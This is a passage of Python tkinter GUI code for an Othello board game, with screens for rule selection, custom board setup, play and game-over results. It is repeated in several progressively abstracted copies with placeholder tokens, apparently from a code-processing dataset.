self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Pregame(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, 